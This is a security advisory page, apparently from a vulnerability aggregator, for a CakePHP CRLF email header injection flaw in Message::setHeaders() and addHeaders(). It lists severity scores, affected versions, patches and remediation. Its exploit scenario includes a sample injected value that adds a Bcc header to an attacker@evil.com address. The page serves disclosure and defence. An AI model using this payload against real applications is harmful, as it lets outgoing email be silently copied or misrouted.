Skip to main content

CakePHP CVE-2026-77634

| EUVDEUVD-2026-65123 HIGH
Improper Neutralization of CRLF Sequences ('CRLF Injection') (CWE-93)
2026-08-24 GitHub_M GHSA-2qh5-382h-3jpc
8.2
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit crafted input containing embedded CRLF sequence
  2. Delivery
    Application passes value to Message::setHeaders() or Message::addHeaders() unsanitized
  3. Exploit
    CRLF terminates current header field during SMTP serialization
  4. Execution
    Injected header line appended to outbound email DATA stream
  5. Persist
    Mail server processes attacker-controlled header
  6. Impact
    Email delivered with manipulated routing or disclosure of content

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization CRLF sequence sanitization
Exploitation Conditions

Exploitation requires that the CakePHP application explicitly passes user-controlled data as a value to Message::setHeaders() or Message::addHeaders() - this is not a default framework behavior and must be deliberately coded by the application developer. Standard mailer usage (setting recipients, subject, and body via built-in typed methods) is not affected. The CVSS 4.0 AT:P metric directly encodes this prerequisite: the vulnerable code path must be present and reachable. Exploitation is further bounded to the email message context: the attacker cannot access the server filesystem, execute code, or read application data. What limits exploitation is the non-default configuration requirement combined with the absence of any confidentiality or availability impact - only applications that have explicitly wired external input into custom header fields are at realized risk.

Impact

The CVSS 4.0 score of 8.2 (VI:H) accurately reflects that successful exploitation produces high-integrity impact - an attacker can inject arbitrary SMTP headers - but the AT:P (Attack Target Presence) metric is the decisive limiting factor: exploitation is only possible when an application explicitly routes user-controlled data into custom email headers, which is not default CakePHP behavior. The network attack vector (AV:N) and no-privileges requirement (PR:N) expand the theoretical attacker surface, but the realized risk population narrows sharply to applications that have explicitly coded user input into setHeaders()/addHeaders() call sites. No EPSS data was provided in the source intelligence, and this CVE is not listed in the CISA KEV catalog, providing no signal of mass or targeted exploitation; no public exploit code has been identified. Confidentiality and availability are unaffected per the CVSS vector (VC:N/VA:N), bounding the blast radius to integrity of outbound email. Overall, the patch priority is high for any organization whose CakePHP application accepts external input into custom mail headers, but teams that do not use this pattern face near-zero realized risk and can treat this as a routine upgrade cycle.

Exploit ScenarioDerived

An attacker submits a crafted contact-form value such as 'legitimate-value\r\nBcc: attacker@evil.com' through an endpoint whose application code passes that value directly to Message::setHeaders() to populate a custom tracking or reply header. CakePHP's transport layer serializes the unsanitized string into the outbound SMTP DATA stream, where the CRLF sequence terminates the original header and the trailing text is parsed as a new Bcc field by the mail server, silently copying every outgoing message to the attacker's address. No public exploit code has been identified, but CRLF injection in mail headers is a well-documented and trivially constructed attack class.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 24, 2026

Email header injection in CakePHP's Mailer component allows CRLF sequences embedded in custom header values to split SMTP headers and introduce attacker-controlled fields. All supported release lines are affected - 4.5.x, 4.6.x, 5.1.x, 5.2.x, and 5.3.x - when applications pass user-controlled data to Message::setHeaders() or Message::addHeaders(). An attacker who can influence those header values can inject arbitrary SMTP headers (e.g., Bcc, Reply-To, Content-Type), potentially hijacking email routing or silently copying messages; no public exploit identified at time of analysis.

RemediationAI

Vendor-released patches are available: upgrade to CakePHP 4.5.12, 4.6.5, 5.1.8, 5.2.14, or 5.3.7 depending on the active release line, as confirmed by the official security advisory at https://github.com/cakephp/cakephp/security/advisories/GHSA-2qh5-382h-3jpc and corroborated by commits 08188962bcd99a95da1e49f62e786f2d688f1e41, 2afe42b02d8ddc5d442bca5e8bb61910a727646e, 3e09dae6cbdc983754fa3a8e6aae74da102a3ea1, and b67b622457362b075bb37e625a82af73a0b3c9c3. If an immediate upgrade is not feasible, the targeted compensating control is to audit every call site of Message::setHeaders() and Message::addHeaders() and strip \r and \n characters from any user-supplied string before passing it to those methods; this approach is error-prone relative to upgrading because it must be applied consistently at every call site and may be missed in future code additions.

Affected VersionsENISA

cakephp 4.6.0, < 4.6.5
cakephp 5.3.0, < 5.3.7
cakephp 5.2.0, < 5.2.14
cakephp 5.0.0, < 5.1.9
cakephp 4.5.0, < 4.5.12

Affected Packages

composer cakephp/cakephp fix: 4.5.12, 4.6.5, 5.1.9, 5.2.14, 5.3.7
euvd cakephp_4_5_0 fix: 4.5.12
euvd cakephp_4_6_0 fix: 4.6.5
euvd cakephp_5_0_0 fix: 5.1.9
euvd cakephp_5_2_0 fix: 5.2.14
euvd cakephp_5_3_0 fix: 5.3.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 6 packages in composer, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

CakePHP (CPE: cpe:2.3:a:cakephp:cakephp:*:*:*:*:*:*:*:*) is a PHP rapid-development framework whose Mailer component wraps outbound email via both an SMTP transport (SmtpTransport) and PHP's native mail() transport (MailTransport). Both transports call getHeadersString() to serialize message headers into the raw SMTP wire format, where headers are delimited by CRLF (\r\n) sequences per RFC 2822. Prior to the patched releases, no sanitization was applied to values supplied through Message::setHeaders() or Message::addHeaders(), meaning a CRLF pair embedded in a header value would terminate the current header line and begin a new one - the classic CWE-93 (Improper Neutralization of CRLF Sequences) pattern. The commit diff confirms the fix: a sanitization callback (str_replace("\r\n", '', $val)) was added to the getHeadersString() call inside SmtpTransport::_sendData(), and equivalent coverage was added to the MailTransport test suite.

Know when Cakephp gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 8.2 HIGH
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N
vuln.today AI 7.5 HIGH

Network vector reflects web-delivered input; PR:N as no attacker account is needed; S:U because impact stays within the email message; I:H for arbitrary header injection; C and A are N per actual impact.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
Present
Privileges Required
None
User Interaction
None
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
High
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Patch available
Aug 24, 2026 - 21:02 EUVD
CVE Published
Aug 24, 2026 - 20:33 cve.org
HIGH 8.2

DescriptionCVE.org

CakePHP is a rapid development framework for PHP. Prior to versions 4.5.12, 4.6.5, 5.1.8, 5.2.14, and 5.3.7 on their respective release lines, custom mail headers added with Message::setHeaders() or Message::addHeaders() do not have CRLF bytes removed, allowing header injection when user-controlled data is used in message headers. This issue is fixed in versions 4.5.12, 4.6.5, 5.1.8, 5.2.14, and 5.3.7.

Executive ViewAI

Why It Matters

A vulnerability affecting CakePHP versions 4.5 through 5.3 (CVE-2026-77634) could allow attackers to hijack email communications by injecting malicious headers, potentially redirecting sensitive business emails or spoofing internal communications. Organizations using CakePHP to send user-influenced emails risk compromise of email-based authentication, regulatory notifications, and confidential business operations.

Business Impact: High
Compensating Controls

Apply vendor patch.

Threat Intelligence Overview

EPSS Score
0.3%
Top 77% exploitable
Prevalence
Medium
popular PHP MVC framework, widely used but not dominant at scale
Threat Intel
1
1 source
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact
High
Technical Impact
Partial

Priority Score

41
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +41
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

CVE-2012-4399 HIGH POC
7.5 Oct 09

The Xml class in CakePHP 2.1.x before 2.1.5 and 2.2.x before 2.2.1 allows remote attackers to read arbitrary files via X

CVE-2016-4793 HIGH POC
7.5 Jan 23

The clientIp function in CakePHP 3.2.4 and earlier allows remote attackers to spoof their IP via the CLIENT-IP HTTP head

CVE-2015-8379 HIGH POC
8.8 Jan 26

CakePHP 2.x and 3.x before 3.1.5 might allow remote attackers to bypass the CSRF protection mechanism via the _method pa

CVE-2023-22727 CRITICAL
9.8 Jan 17

CakePHP is a development framework for PHP web apps. Rated critical severity (CVSS 9.8), this vulnerability is remotely

CVE-2026-79752 CRITICAL
9.2 Sep 17

SQL injection in the CakePHP PHP framework (versions prior to 4.5.12, 4.6.5, 5.1.9, 5.2.14, and 5.3.7) allows unauthenti

CVE-2026-77635 CRITICAL
9.2 Aug 24

SQL injection in CakePHP's database layer allows attackers to inject arbitrary SQL when an application uses FunctionsBui

CVE-2026-77337 CRITICAL
9.1 Aug 24

Authentication bypass in the CakePHP Authentication plugin's CookieAuthenticator (versions before 2.11.2, 3.0.0-3.3.6, a

CVE-2019-11458 HIGH
7.5 May 08

An issue was discovered in SmtpTransport in CakePHP 3.7.6. Rated high severity (CVSS 7.5), this vulnerability is remotel

CVE-2026-48820 MEDIUM
6.3 Jun 17

Local file inclusion in CakePHP's View::_getElementFileName() allows remote attackers to include arbitrary PHP files fro

CVE-2026-23643 MEDIUM
5.4 Jan 16

CakePHP versions prior to 5.2.12 and 5.3.1 contain a stored cross-site scripting vulnerability in the PaginatorHelper::l

CVE-2020-15400 MEDIUM
4.3 Jun 30

CakePHP before 4.0.6 mishandles CSRF token generation. Rated medium severity (CVSS 4.3), this vulnerability is remotely

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy